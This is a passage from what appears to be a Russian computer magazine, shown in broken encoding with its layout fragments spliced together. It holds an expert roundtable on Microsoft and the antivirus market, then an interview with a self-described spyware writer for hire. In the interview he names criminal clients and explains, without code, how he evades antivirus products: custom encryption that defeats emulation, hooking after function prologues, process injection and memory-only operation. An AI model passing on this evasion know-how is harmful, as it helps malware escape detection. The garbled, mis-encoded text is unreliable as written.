ÀËÅÊÑÅÉ ËËÓÊÀÖÊÈÉ: Åå êîíêóðåíòû ñàìè âûíóäèëè êîìïàíèþ ïîéòè ýòèì ïóòåì. Êîãäà MS âûïóñòè-
ëà áåñïëàòíûé MS AntiSpyware, áîëüøèíñòâî àíòèâèðóñíûõ ïðîèçâîäèòåëåé ñòàëè çàáðàñûâàòü åå èñêà-
ìè î íàðóøåíèè ìîíîïîëüíîãî çàêîíîäàòåëüñòâà è ò.ä. Îäíàêî MS ñàìà âñåãäà ïðèçíàâàëà, ÷òî åå ðåøå-
íèÿ îáåñïå÷èâàþò áàçîâûé óðîâåíü çàùèòû, ðàñøèðèòü êîòîðûé ìîæíî ñ ïîìîùüþ ðåøåíèé äðóãèõ âåí-
äîðîâ. Òåïåðü æå êîìïàíèþ âûíóäèëè âïëîòíóþ çàíÿòüñÿ âûïóñêîì ïîëíîöåííîãî ïðîãðàììíîãî ïðîäóê-
òà (èëè ñåðâèñà, òàêîãî êàê OneCare), êîòîðûé, ó÷èòûâàÿ âîçìîæíîñòè è ðåñóðñû MS, ïîòåñíèò ìíîãèõ
èãðîêîâ ñ ýòîãî ðûíêà. Ìîæíî äîëãî ãîâîðèòü î òîì, ÷òî ñåðüåçíûå ïîêóïàòåëè íå âûáåðóò MS â êà÷åñòâå
ïîñòàâùèêà ñðåäñòâ çàùèòû, íî ðÿäîâîé ïîëüçîâàòåëü ïî÷åìó-òî ýòîãî «íå ñëûøèò» è ïî-ïðåæíåìó äå-
ëàåò âûáîð â ïîëüçó ïðîäóêöèè Microsoft. Òàêæå îí ïîñòóïèò è ñ åå ðåøåíèÿìè ïî çàùèòå êîìïüþòåðîâ —
ýòî ïðèâû÷íåå è ãîðàçäî âûãîäíåå.
ÀËÅÊÑÅÉ ÏÏÅÒÐÎÂ: Ñóäÿ ïî óðîâíþ è òåì ïðîäóêòàì MS, êîòîðûå ñåé÷àñ äîñòóïíû, âðÿä ëè MS ñìî-
æåò çàâîåâàòü ýòîò ðûíîê. Ðàçâå ÷òî êîìïàíèÿ â î÷åðåäíîé ðàç ñêóïèò êàêóþ-íèáóäü óñïåøíóþ ðàçðà-
áîòêó è ââåäåò åå â ñîñòàâ MS :). Äðóãîé àñïåêò ïðîáëåìû çàêëþ÷àåòñÿ â òîì, ÷òî èçíà÷àëüíî íåóäà÷íàÿ
êîíñòðóêöèÿ è ìåõàíèçìû áåçîïàñíîñòè MS-ïðîäóêòîâ êàê ðàç òàêè è ÿâëÿþòñÿ êîðíåì âñåé ïðîáëåìû —

Ñ Ì Î Æ Å Ò  Ë È  M I C R O S O F T  Ï Î Ò Å Ñ Í È Ò Ü

Ê Î Í Ê Ó Ð Å Í Ò Î Â  Í À  Ð Û Í Ê Å  Ç À Ù È Ò Û  
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êîíñòðóêöèÿ «íèêàê» íå ïðîòèâîäåéñòâóåò àêòèâíîñòè âèðóñîâ è òðîÿíîâ. À ìíîæåñòâåííûå îøèáêè â
ÏÎ ïðèêëàäíîãî (IE/Outlook) è îñíîâíîãî óðîâíåé (data-objects parsing/handling) ïðåäñòàâëÿþò ïðåêðàñ-
íóþ ïëàòôîðìó äëÿ àêòèâèçàöèè âèðóñîâ-òðîÿíîâ. Èçëèøíå ñëîæíûé ìåõàíèçì îáíîâëåíèé òîëüêî ñïî-
ñîáñòâóåò ýòîìó.

ÂËÀÄÈÌÈÐ ÊÊÎÌÈÑÑÀÐÎÂ: Àáñîëþòíî íå ñîãëàñåí. Íå ñêàçàòü, ÷òî â êîðíå, íî ÿ òàê íå äóìàþ è ïðà-
âèëüíî äåëàþ. Ñòðàõ ïðîõîäèò: áëàãî, êîìïüþòåð â äîìàõ ãðàæäàí — óæå íå äèêîâèíêà. È ñàìè îíè óæå
óìåþò äàâèòü íà êëàâèøè è îñîçíàþò, ÷òî èì íàäî, à ÷òî íåò. Åñëè æå âçÿòü ìàñøòàáû ïðåäïðèÿòèÿ è
öåííîñòè èíôîðìàöèè, òî òóò ÿ â êîðíå ñ ãîñïîäèíîì Äàíèëîâûì íå ñîãëàñåí. Ïîòîìó êàê íå óñëåäèøü,
êàêîé ñîòðóäíèê êàêîé äèñê ïðèíåñåò, íà êàêîé ñàéò çàëåçåò... È ïîñëåäñòâèÿ èíôèöèðîâàíèÿ ìîãóò
ñåðüåçíî îòðàçèòüñÿ íà áþäæåòå êîìïàíèè. Ïîýòîìó ÃÐÀÌÎÒÍÛÉ IT-ñïåöèàëèñò íèêîãäà íå ïðåíåáðå-
æåò çàùèòîé, ïóñòü äàæå îò äóðàêà. Ðàáîòà òàêàÿ.
ÀËÅÊÑÅÉ ËËÓÊÀÖÊÈÉ: Èíòåðåñíî ñëûøàòü òàêîå âûñêàçûâàíèå îò ðàçðàáîò÷èêà Dr.Web. Íî îò÷àñòè
îí ïðàâ. Ïðîáëåìû èçëèøíå ïðåóâåëè÷åíû. ×èñëî «äèêèõ» âèðóñîâ íåñîïîñòàâèìî ñ ÷èñëîì âèðóñîâ,
âûðàùåííûõ â ïðîáèðêå è õðàíÿùèõñÿ òîëüêî â èññëåäîâàòåëüñêèõ öåíòðàõ àíòèâèðóñíûõ êîìïàíèé.
Áîëüøèíñòâî àíòèâèðóñíûõ êîìïàíèé ïàðàçèòèðóþò íà äàííîé ïðîáëåìå, ïóãàÿ íåèñêóøåííîãî ïîëüçî-
âàòåëÿ âñÿêèìè ñòðàøèëêàìè. Âåäü ðåøèòü ïðîáëåìó âèðóñîâ ìîæíî ãîðàçäî ýôôåêòèâíåå è íå ïðèáå-
ãàÿ ê áîëüøèì ôèíàíñîâûì çàòðàòàì íà ïðèîáðåòåíèå àíòèâèðóñîâ. Äîñòàòî÷íî âñïîìíèòü, ÷òî äëÿ òî-
ãî, ÷òîáû íå çàðàçèòüñÿ äèçåíòåðèåé, â àáñîëþòíîì áîëüøèíñòâå ñëó÷àåâ äîñòàòî÷íî ìûòü ïåðåä åäîé
ðóêè è ôðóêòû. Äëÿ ýòîãî íå íàäî êîëîòü ñåáå àíòèáèîòèêè è ïðîïóñêàòü ôðóêòû ÷åðåç ìíîãîñòóïåí÷àòóþ
ñèñòåìó õèìè÷åñêîé î÷èñòêè. Àíàëîãè÷íàÿ ñèòóàöèÿ è ñ àíòèâèðóñíûìè ïðîäóêòàìè.
ÀËÅÊÑÅÉ ÏÏÅÒÐÎÂ: ×àñòè÷íî äà. È ïðîèñõîäèò ýòî ÷àñòè÷íî èç-çà íåïîíèìàíèÿ ïðîáëåìû â öåëîì.
Àíòèâèðóñ — íå ïàíàöåÿ, à òîëüêî îäíà èç âîçìîæíûõ íàâåñíûõ «ñòóïåíåê» çàùèòû, ÷àñòè÷íî ïðåâåí-
òèâíàÿ è ÷àñòè÷íî ïîñò-ôàêòóì ìåðà, íî ýòî íèêîãäà íå 100% ãàðàíòèÿ. Àíòèâèðóñ ëîâèò è ðàñïîçíàåò
«çíàêîìûå» è «øèðîêî ðàñïðîñòðàíåííûå âèðóñû». Ýòî ïðîòèâîÿäèå, êîòîðîå åùå íå ôàêò ÷òî ñïàñåò,
àíòèâèðóñ — ýòî íå ïðèâèâêà, ó êîòîðîé ãàðàíòèè êóäà âûøå. «Çëîâðåäû» ñòàðàíèÿìè ñâîèõ ñîçäàòåëåé
çà ïîñëåäíåå âðåìÿ ñèëüíî ìóòèðîâàëè è «ïîóìíåëè»: ïðèîáðåëè ñïîñîáíîñòè îáõîäèòü firewall'û è ðàñ-
ïðîñòðàíåííûå àíòèâèðóñû, óìåþò ñàìîîáíîâëÿòüñÿ. À ðàñïðîñòðàíåííûå àíòèâèðóñû — ýòî êàê ðàç òå,
êîòîðûõ â ïåðâóþ î÷åðåäü è áóäóò îáõîäèòü. È öåíû íà àíòèâèðóñû èñêóññòâåííî ñèëüíî çàâûøåíû. 

ÊÐÈÑ ÊÊÀÑÏÅÐÑÊÈ: Ïðåæäå âñåãî, ýòî ðàçãðàíè÷åíèå äîñòóïà — ÿ âõîæó â ñèñòåìó ïîä àäìèíèñòðàòî-
ðîì òîëüêî òîãäà, êîãäà ýòî äåéñòâèòåëüíî íóæíî, à â îñòàëüíîå âðåìÿ ÿ — ïîëüçîâàòåëü. Âòîðîå — èñ-
ïîëüçîâàíèå ìàêñèìàëüíî íåäûðÿâîãî ÏÎ (è â ïåðâóþ î÷åðåäü îòêàç îò IE â ïîëüçó Îïåðû/Ëèñà/Ðûñÿ).
Òðåòüå — íå çàïóñêàþ ïðîãðàìì, ïîëó÷åííûõ èç íåíàäåæíûõ èñòî÷íèêîâ íà îñíîâíîé ìàøèíå, òîëüêî
ïîä VM Ware. È íà çàêóñêó — ðàç èëè äâà ðàçà â ãîä çàïóñêàþ îíëàéíîâûé ñêàíåð Åâãåíèÿ Êàñïåðñêîãî,
÷òîáû óáåäèòüñÿ, ÷òî âñå ñïîêîéíî. Èëè èñïîëüçóþ êàêîé-íèáóäü äðóãîé àíòèâèðóñ. Ïîñêîëüêó ýòî äåëà-
åòñÿ ÷èñòî äëÿ óñïîêîåíèÿ (òî åñòü ñîçäàíèÿ èëëþçèè áåçîïàñíîñòè è ñàìîîáìàíà), — âûáîð àíòèâèðóñà
íåêðèòè÷åí.
ÀÍÒÎÍ ÊÊÀÐÏÎÂ: Òàê ïîâåëîñü, ÷òî ñèñòåìû è ñîôò, êîòîðûé èñïîëüçóþ ëè÷íî ÿ, íå ïîäâåðæåíû øïèî-
íàì, òðîÿíàì è âèðóñàì. Ìíå òðóäíî âñïîìíèòü, êîãäà ÿ ïîñëåäíèé ðàç âèäåë âèðóñû è òðîÿíû äëÿ Fre-
eBSD (èìååòñÿ â âèäó êëèåíòñêàÿ ìàøèíà, òàê êàê ÿ èñïîëüçóþ ýòó ÎÑ â êà÷åñòâå íàñòîëüíîé ðàáî÷åé
ñèñòåìû) èëè ýêñïëîèò äëÿ ïî÷òîâîãî êëèåíòà Mutt, íàïðèìåð.
ÂËÀÄÈÌÈÐ ÊÊÎÌÈÑÑÀÐÎÂ: Èñïîëüçóþ êîðïîðàòèâíûé Symantec Antivirus è åùå ïàðó ñòîðîííèõ ïðî-
ãðàìì. È, êîíå÷íî, ñîáñòâåííûå ãëàçà è ðóêè. Àíàëèç ëîãîâ ñëåæåíèÿ çà òðàôèêîì è ïðîöåññàìè åùå íè-
êòî íå îòìåíÿë, è íèêàêàÿ ïðîãðàììà ëó÷øå òåáÿ íå çàïîäîçðèò íåëàäíîå çàäíèì ÷óâñòâîì è íå íàïðà-
âèò íà ïóòü èñòèííûé.
ÀËÅÊÑÅÉ ËËÓÊÀÖÊÈÉ: Âî-ïåðâûõ, ó ìåíÿ óñòàíîâëåí àíòèâèðóñ, êîòîðûé îáåñïå÷èâàåò ìíå ïåðâóþ
ëèíèþ îáîðîíû. Íà âòîðîì óðîâíå ó ìåíÿ çàäåéñòâóåòñÿ íåñèãíàòóðíûé Cisco Security Agent. Äëÿ çàùèòû
îò BHO-spyware èñïîëüçóþ BHODemon. Êîíå÷íî æå, ðåãóëÿðíàÿ óñòàíîâêà ïàò÷åé, çàùèùåííàÿ íà-
ñòðîéêà áðàóçåðà è ÎÑ. È, íàêîíåö, çäðàâîìûñëèå ïðè èñïîëüçîâàíèè èíòåðíåòà è ðàçëè÷íûõ «ïîñòîðîí-
íèõ» ïðîãðàìì. Êñòàòè, î ïîñëåäíèõ. ß èìè ïðàêòè÷åñêè íå ïîëüçóþñü. ß ëèáî ïðèîáðåòàþ ëèöåíçèîííîå
ÏÎ, ëèáî èñïîëüçóþ òî, ÷òî ìíå öåíòðàëèçîâàííî ïðåäîñòàâëÿåò êîìïàíèÿ (à ýòî î÷åíü áîëüøîé ñïèñîê).
ÀËÅÊÑÅÉ ÏÏÅÒÐÎÂ: Äëÿ Win ïðèìåíÿþ êîìïëåêñ èç íåñêîëüêèõ àíòèâèðóñîâ, íåñêîëüêèõ antispyware,
àêòèâíûé ïåðñîíàëüíûé firewall (ìîè ðåêîìåíäàöèè — Outpost Firewall îò Agnitum), ïëþñ ñîîòâåòñòâóþ-
ùàÿ íàñòðîéêà ñàìîé ñèñòåìû, êàê ìèíèìóì IE/MS win. Àêòèâíûé application layer firewall íå ïðîñòî áëî-
êèðóåò êàêèå-òî ïîðòû, à ðàñïîçíàåò, êòî ïûòàåòñÿ óñòàíîâèòü ñîåäèíåíèå. Agnitum FW áûë ïåðâûì íà
ýòîì ïóòè è ïî-ïðåæíåìó ïîëîí íîâàòîðñêèõ èäåé. Êñòàòè, ïîïóëÿðíîñòü àëüòåðíàòèâíûõ web browser'îâ
òîæå â íåêîòîðîé ñòåïåíè áàçèðóåòñÿ íà ñíèæåíèè ðèñêîâ èíôèöèðîâàíèÿ, ïî ñðàâíåíèþ ñ IE. Â êàæäîì
êîíêðåòíîì ñëó÷àå âñå ïîäáèðàåòñÿ, èñõîäÿ èç óñëîâèé, ïîä çàäà÷è, êîòîðûå íàäî ðåøàòü. Õîðîøàÿ çà-
ùèòà — ýòî âñåãäà èíäèâèäóàëüíûé è óíèêàëüíûé ïîäõîä, à èíôîðìàöèÿ î ïåðèìåòðå è ñðåäñòâàõ áåçî-
ïàñíîñòè — ýòî ÷àñòü ìåð áåçîïàñíîñòè, è òîæå ñåêðåò. Ñòàíäàðòíàÿ çàùèòà è ëîìàåòñÿ ñòàíäàðòíî 
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Å Ø Ü  Ñ À Ì  È  × Ò Î  Ñ Î Â Å Ò Ó Å Ø Ü  Ä Ð Ó Ã È Ì ?

Ï Î  Ñ Ë Î Â À Ì  È Ã Î Ð ß  Ä À Í È Ë Î Â À ,  

Ð Û Í Î Ê  À Í Ò È Â È Ð Ó Ñ Î Â  —  

Ý Ò Î  Î Ã Ð Î Ì Í Û É  Ì Û Ë Ü Í Û É  Ï Ó Ç Û Ð Ü ,  

Ê Î Ò Î Ð Û É  Ä Å Ð Æ È Ò Ñ ß  Í À  Ñ Ò Ð À Õ Å
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Õ Î Á Á È  È Ë È  Ñ Ï Î Ñ Î Á  Ç À Ð À Á Î Ò Ê À ?

Ñíà÷àëà ýòî áûëî õîááè: ÿ ñ óïîåíèåì êî-
âûðÿëñÿ â îïåðàöèîííûõ ñèñòåìàõ, èçó-

÷àë àññåìáëåð, èññëåäîâàë ñïîñîáû îáõîäà ôàå-
ðîâ, ìåõàíèçìû âíåäðåíèÿ. Âèðóñàìè áàëîâàë-
ñÿ, åñòåñòâåííî. È ó ìåíÿ ýòî ïîëó÷àëîñü, ñêàæåì
òàê, ëó÷øå, ÷åì ó äðóãèõ. Â êàêîé-òî ìîìåíò ÿ ïî-
íÿë, ÷òî íà ýòîì ìîæíî çàðàáàòûâàòü íåõèëûå
äåíüãè è... ïîíåñëîñü.

Ê Î Ì Ó  Í Ó Æ Í Û  Ø Ï È Î Í Û  È  Â È Ð Ó Ñ Û ?

Çàêàç÷èêè ñåáÿ íå ðàñêðûâàþò, íî, ñóäÿ ïî
ñàìèì çàêàçàì, ýòî ñïàììåðû, ðàññûëàþ-

ùèå ðåêëàìó ÷óæèìè «ðóêàìè», ìîøåííèêè, êðà-
äóùèå íîìåðà êðåäèòíûõ êàðò è WebMoney, ðàç-
ëè÷íûå «òåìíûå ðåáÿòà», èíòåðåñóþùèåñÿ áàçàìè
äàííûõ ãîñóäàðñòâåííûõ ó÷ðåæäåíèé è êîðïîðà-
öèé. Âñåì èì íóæíû ïðîãðàììû,   êîòîðûå óìåþò
âíåäðÿòüñÿ â àòàêóåìûé êîìïüþòåð è òàéêîì âû-
íîñèòü îòòóäà èíôîðìàöèþ.

Ê À Ê  È Ñ Ê À Ò Ü  Ê Ë È Å Í Ò Î Â ?  

È Ñ Ï Î Ë Ü Ç Î Â À Ò Ü  Î Á Ú ß Â Ë Å Í È ß  

Ñ  Ô Î Ð Ó Ì Î Â  È Ë È  Ý Ò Î  Ï À Ë Å Â Î ?

Äåéñòâèòåëüíî, íà ôîðóìàõ äî ôèãà òàêèõ
îáúÿâëåíèé, íî ñâÿçûâàòüñÿ ñ íèìè — áåç

ìàçû. Òû íèêîãäà íå çíàåøü, êòî ñèäèò íà äðóãîé
ñòîðîíå: ñòóêà÷ èëè êèäàëà. Ðèñê çàãðåìåòü çà ðå-
øåòêó çà õàêåðñêèå äåëà, â îáùåì-òî, ìèíèìàëåí.
Ãîðàçäî îïàñíåå òî, ÷òî íà õâîñò ìîãóò ñåñòü áàí-
äèòñêèå ãðóïïèðîâêè è çàñòàâèòü ðàáîòàòü íà ñåáÿ,
ïðè÷åì çà ñìåøíûå äåíüãè è ñ âåðîÿòíîñòüþ áûòü
óáèòûì â ÷óæèõ ðàçáîðêàõ. Íó êîìó ýòî íóæíî?
Ëó÷øå íàõîäèòü êëèåíòîâ ñðåäè õîðîøî ïðîâåðåí-
íûõ çíàêîìûõ.

Í À  × Å Ì  Ï È Ø Å Ø Ü  Ø Ï È Î Í Î Â ?  

Í À  À Ñ Ñ Å Ì Á Ë Å Ð Å ?

Áîþñü ðàçî÷àðîâàòü, íî çàíèìàòüñÿ ýòèì
íà àññåìáëåðå ìîæíî òîëüêî èç áîëüøîé

ëþáâè ê àññåìáëåðó èëè îò íå÷åãî äåëàòü. Ñîâðå-
ìåííûå êîìïèëÿòîðû ïîçâîëÿþò ñäåëàòü ïðàêòè-
÷åñêè âñå, ÷òî óãîäíî, è ñ ìèíèìàëüíûìè çàòðàòà-
ìè âðåìåíè (÷åëîâå÷åñêîãî). Êîíå÷íî, ñîâñåì áåç
àññåìáëåðíûõ âñòàâîê äåëî íå îáõîäèòñÿ, íî îñ-
íîâíàÿ ÷àñòü êîäà ïèøåòñÿ íà Ñè.

Ï Î × Å Ì Ó  È Ì Å Í Í Î  Ñ È ,  À  Í Å  Ñ È + + ?

Â Ñ Å  Ñ Å É × À Ñ  Ñ È Ä ß Ò  È Ì Å Í Í Î  

Í À  Í Å Ì !

È ñîçäàþò ñåáå ïðîáëåìû, ìóæåñòâåííî èõ
ïðåîäîëåâàÿ. Âîçìîæíî, Ñè++ — õîðîøèé

ÿçûê, íî åãî äîñòîèíñòâà óðàâíîâåøèâàþòñÿ íåäî-
ñòàòêàìè è, â ïåðâóþ î÷åðåäü, — îãðàíè÷åíèåì
ñâîáîäû ïðîãðàììèñòà, çàïðåòîì ìíîãèõ ôîðì
òðþêà÷åñòâà. Ñàìà èäåîëîãèÿ Ñè++ ïðîâîöèðóåò
ïðîãðàììèñòà íà ðåøåíèå çàäà÷è â îáùåì âèäå, â
òî âðåìÿ êàê â ÷àñòíîì îíà ðåøàåòñÿ â äåñÿòü ðàç
áûñòðåå è â ñòî ðàç ýôôåêòèâíåå. 

Ñ Ê Î Ë Ü Ê Î  Â Ð Å Ì Å Í È  Ç À Í È Ì À Å Ò  

Ð À Ç Ð À Á Î Ò Ê À  Í Î Â Î Ã Î  Ø Ï È Î Í À ?

Ýòî çàâèñèò îò ñàìîãî øïèîíà. Òîëüêî
«íîâîãî» â íåì áóäåò íåìíîãî. Îñíîâíóþ

ñëîæíîñòü ïðåäñòàâëÿåò ðåàëèçàöèÿ ìîäóëåé,
îòâåòñòâåííûõ çà âíåäðåíèå, ñîêðûòèå ïðîöåñ-

Íà âîïðîñû îòâå÷àåò
ìîëîäîé ÷åëîâåê 
â òåìíûõ î÷êàõ,
ïðåäñòàâèâøèéñÿ 
X-Dragon’îì, ñ êîòîðûì
ìû âñòðåòèëèñü 
íà áåçëþäíîì áåðåãó
áåçûìÿííîé ðåêè, 
ãäå ïîãîâîðèëè 
íà òåìó êèáåðíåòè÷åñêîãî
øïèîíàæà
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ñîâ è ôàéëîâ, óñòàíîâêó back-door'à è ò.ä. Íî âñå
ýòî óæå ðåàëèçîâàíî â ìîåé ñîáñòâåííîé áè-
áëèîòåêå, òàê ÷òî ôàêòè÷åñêè øïèîí êîíñòðóèðó-
åòñÿ èç ãîòîâûõ áëîêîâ, íà ÷òî óõîäèò íåñêîëüêî
äíåé. Ãîðàçäî áîëüøå âðåìåíè îòíèìàåò òåñòè-
ðîâàíèå è ïðîâåðêà íà ñîâìåñòèìîñòü ñ íîâûìè
âåðñèÿìè Windows. Øïèîíû ñî «çíàêîì êà÷å-
ñòâà» îáêàòûâàþòñÿ äî íåäåëè. Êîíå÷íî, áèáëèî-
òåêà íóæäàåòñÿ â ðàçâèòèè — ñîâåðøåíñòâîâà-
íèè ìåõàíèçìîâ ñîêðûòèÿ/âíåäðåíèÿ, ïîääåðæêå
íîâûõ òåõíîëîãèé è ïëàòôîðì (íàïðèìåð, x86-
64), íî ýòî ïðîèñõîäèò â «ôîíîâîì ðåæèìå», òàê
ñêàçàòü, â ñâîáîäíîå âðåìÿ.

Ï Î Ë Ü Ç Ó Å Ø Ü Ñ ß  Ë È  Ó Ï À Ê Î Â Ù È Ê À Ì È  

È  Ï Ð Î Ò Å Ê Ò Î Ð À Ì È  Ä Ë ß  

Ï Ð Î Ò È Â Î Ä Å É Ñ Ò Â È ß  À Â Å Ð À Ì ?

Êîãäà-òî ïîëüçîâàëñÿ, íî ïîòîì ïðèçíàë
ýòó ïðàêòèêó ïîðî÷íîé è ïîñëàë âñå ïðî-

òåêòîðû íà òðè èêñà. Âî-ïåðâûõ, àâåðèñòû íå
ñïÿò è îïåðàòèâíî ó÷àòñÿ ðàñïàêîâûâàòü íîâûå
ïðîòåêòîðû, òàê ÷òî òàêàÿ ìåðà íè îò ÷åãî íå ñïà-
ñåò. Âî-âòîðûõ, âñå ìîè øïèîíû ïèøóòñÿ èíäèâè-
äóàëüíî è, õîòÿ îíè ñîäåðæàò íåêîòîðûå ïî-
ñòîÿííûå ôðàãìåíòû (òó æå óïîìÿíóòóþ áèáëèî-
òåêó), ïðè ïåðåêîìïèëÿöèè äðóãèì êîìïèëÿòîðîì
ñ äðóãèìè êëþ÷àìè îíè ïðåîáðàæàþòñÿ äî íåóç-
íàâàåìîñòè. Â-òðåòüèõ, ãîðàçäî âûãîäíåå èñ-
ïîëüçîâàòü ñâîé âñòðîåííûé ìèíè-øèôðàòîð íà
îñíîâå SSE-êîìàíä, ñ ýìóëÿöèåé êîòîðûõ ó àâå-
ðîâ áîëüøèå ïðîáëåìû. Äà ÷òî òàì SSE, ìíîãèå
êîìàíäû 8086 ïðîöåññîðà (òàêèå, íàïðèìåð, êàê
AAA) áîëüøèíñòâîì àâåðîâ ýìóëèðóþòñÿ íåïðà-
âèëüíî, à, çíà÷èò, îíè íå ñìîãóò ðàñøèôðîâàòü
êîä, äàæå åñëè ðàñøèôðîâùèê áóäåò ñîñòîÿòü
âñåãî èç íåñêîëüêèõ ìàøèííûõ êîìàíä. Âî âñÿ-
êîì ñëó÷àå, ýòî ìîé êîä, çà êîòîðûé ÿ îòâå÷àþ è
ïðèëàãàþ âñå óñèëèÿ, ÷òîáû îí ðàáîòàë ïðàâèëü-
íî. Ïîïóëÿðíûå ïðîòåêòîðû ñîäåðæàò ìàññó
îøèáîê, è äîâåðèòü èì çàùèòó ñâîèõ øïèîíîâ ÿ
íå ìîãó, ïðîñòî íå èìåþ íà ýòî ìîðàëüíîãî ïðàâà
ïåðåä ñâîèìè êëèåíòàìè.

À  Ê À Ê È Å  Ã À Ð À Í Ò È È  Ê Ë È Å Í Ò À Ì ?  

Â Î Ç Ì Î Æ Í Î  Ë È  Ç À Ñ Å × Ü  Ø Ï È Î Í Î Â ?

Ãàðàíòèè îáû÷íûå — òî åñòü íèêàêèõ ãà-
ðàíòèé. Ïî-äðóãîìó ïðîñòî íå ïîëó÷èòñÿ.

Íèêòî íå çàñòðàõîâàí îò îøèáîê è ÿ â òîì ÷èñëå.
Åñòåñòâåííî, îïûòíûé õàêåð, óìåþùèé äåðæàòü
îòëàä÷èê â ðóêàõ, ñìîæåò îáíàðóæèòü øïèîíà,
åñëè ñèëüíî îçàáîòèòñÿ ýòîé öåëüþ. Íî äëÿ ýòî-
ãî åìó ïðèäåòñÿ ïðîäåëàòü áîëüøóþ è êðîïîòëè-
âóþ ðàáîòó, êîòîðîé íèêòî íå áóäåò çàíèìàòüñÿ
ïðîñòî òàê, åñëè íåò ïîäîçðåíèÿ. À ïîäîçðåíèé
íå áóäåò, ïîòîìó ÷òî ìîè øïèîíû âåäóò ñåáÿ
ìàêñèìàëüíî êîððåêòíî, îáõîäÿò çàùèòíûå ñè-
ñòåìû, íå çàìåäëÿþò ðàáîòó êîìïüþòåðà è íè ñ
÷åì íå êîíôëèêòóþò. Õîòÿ ïðîêîëû è ñî ìíîé òî-
æå ñëó÷àþòñÿ...

× Ò Î  Ç À  Ï Ð Î Ê Î Ë Û ?  Ê À Ê È Å  Ì Î Ã Ó Ò

Á Û Ò Ü  Ï Ð Î Ê Î Ë Û ?  Ê À Ê  Ï Ð È Ì Å Ð .

Íàïðèìåð, îäíàæäû ìîé øïèîí ñëó÷àéíî
îòîáðàë ôîêóñ ó îêíà winlogon'à è íå âîç-

âðàòèë, íåêîòîðûå ïîëüçîâàòåëè îáðàòèëè íà
ýòî âíèìàíèå (òàê êàê ðàíüøå îíè ïðîñòî íàáè-
ðàëè ïàðîëü ïðè âõîäå â ñèñòåìó, à òåïåðü íà îê-
íî ïðèõîäèëîñü êëèêàòü). Âîò ìîé øïèîí è ïîãî-
ðåë. Íåñêîëüêî ðàç íàïàðûâàëñÿ íà ñþðïðèçû
íåäîêóìåíòèðîâàííûõ âîçìîæíîñòåé, íåîæè-
äàííî ìåíÿâøèõñÿ â î÷åðåäíîì service pack'å
áåç âñÿêîãî ïðåäóïðåæäåíèÿ è ëèøàþùèõ øïèî-
íà ðàáîòîñïîñîáíîñòè, à ìåíÿ — ðåïóòàöèè è çà-
ðàáîòêà. Ñåé÷àñ ÿ ïîëíîñòüþ îòêàçàëñÿ îò èñ-
ïîëüçîâàíèÿ íåäîêóìåíòèðîâàííûõ âîçìîæíî-
ñòåé è íàìåðåí ïðèäåðæèâàòüñÿ òîé æå ñòðàòå-
ãèè è â äàëüíåéøåì.

Ø Ï È Î Í ,  È  Ñ Î Â Ñ Å Ì  Á Å Ç

Í Å Ä Î Ê Ó Ì Å Í Ò È Ð Î Â À Í Í Û Õ

Â Î Ç Ì Î Æ Í Î Ñ Ò Å É ? !  

Ð À Ç Â Å  Ý Ò Î  Ð Å À Ë Ü Í Î ?

Ïðåäñòàâü ñåáå, íàïèñàòü øïèîíà, èñïîëü-
çóþùåãî òîëüêî äîêóìåíòèðîâàííûå âîç-

ìîæíîñòè, âïîëíå ðåàëüíî, è îí îò ýòîãî òîëüêî
âûèãðàåò. Äà, â èñïîëüçîâàíèè íåäîêóìåíòèðî-
âàííûõ âîçìîæíîñòåé åñòü êàêîé-òî ðîìàíòèçì,
íî â ñåðüåçíûõ ðàçðàáîòêàõ èñïîëüçîâàòü èõ íå-
äîïóñòèìî! Ýòî ìîãóò äåëàòü ëèáî î÷åíü îïûòíûå
ãóðó, ëèáî ïèîíåðû. ß æå íå îòíîøóñü íè ê òåì, íè
ê äðóãèì. Êñòàòè, MS â ïîñëåäíåå âðåìÿ «ðàññå-
êðåòèëà» ìíîæåñòâî ôóíêöèé, áûâøèõ ðàíåå íå-
äîêóìåíòèðîâàííûìè, ÷åì ñåðüåçíî îáëåã÷èëà
ìíå è ìîèì êîëëåãàì æèçíü.

Ê À Ê È Å  À Ë Ã Î Ð È Ò Ì Û  Ñ Î Ê Ð Û Ò È ß  

Ô À É Ë Î Â  È  Ï Ð Î Ö Å Ñ Ñ Î Â  

Ò Û  È Ñ Ï Î Ë Ü Ç Ó Å Ø Ü ?

Ýòî êàê ðàç ïðîùå âñåãî. Äîñòàòî÷íî ïå-
ðåõâàòèòü ðÿä íèçêîóðîâíåâûõ ôóíêöèé,

íàïðèìåð, âíåäðèâ çà êîíöîì èõ ïðîëîãà jump íà
ñâîé îáðàáîò÷èê. Ïî÷åìó ïîñëå ïðîëîãà, êàê ïî-
ñòóïàåò áîëüøèíñòâî øïèîíîâ? Äà ïîòîìó ÷òî
óæå ñóùåñòâóþò óòèëèòû, ñêàíèðóþùèå ïåðâûå
áàéòû ôóíêöèé íà ïðåäìåò íàëè÷èÿ jump'îâ, ê òî-
ìó æå íåîáõîäèìî îòñëåæèâàòü îòêðûòèå ôàéëà
NTOSKRNL.EXE, ÷òîáû íèêàêàÿ çàùèòà íå ìîãëà
ñðàâíèòü îáðàç ïàìÿòè ÿäðà ñ îðèãèíàëîì. Âîîá-
ùå æå, ëó÷øèé ñïîñîá ìàñêèðîâêè — íå ñîçäà-
âàòü íèêàêèõ äîïîëíèòåëüíûõ ïîòîêîâ/ïðîöåñ-
ñîâ, âíåäðÿÿñü â óæå ñóùåñòâóþùèå, è íå äðû-
ãàòü äèñêîâûì, äåðæà âñå äàííûå â ïàìÿòè. Ëþ-
áóþ àêòèâíóþ ìàñêèðîâêó äîñòàòî÷íî ëåãêî îá-
íàðóæèòü. Çàùèòå äîñòàòî÷íî, íàïðèìåð, ïðî÷è-
òàòü äèñê íà ñåêòîðíîì óðîâíå è ñðàâíèòü ýòè
äàííûå ñ äàííûìè, âîçâðàùåííûìè îïåðàöèîí-
íîé ñèñòåìîé. Åñëè îáíàðóæàòñÿ ðàçëè÷èÿ —
çíà÷èò, êòî-òî ìàñêèðóåòñÿ.

À  Ð À Ç Â Å  Í Å Ë Ü Ç ß  Ï Å Ð Å Õ Â À Ò È Ò Ü  

Ï Î Ñ Å Ê Ò Î Ð Í Î Å  × Ò Å Í È Å  Ä È Ñ Ê À ?

Ìîæíî. Íî ýòî óñëîæíÿåò øïèîíà, äà è ê
òîìó æå âñåãî íå ïðåäóñìîòðèøü. Ñ ýòèì,

êñòàòè, ñâÿçàí åùå îäèí ìîé ïðîêîë. ß íå ó÷åë ñó-
ùåñòâîâàíèå USB-íîñèòåëåé è íåêîòîðûõ äðóãèõ
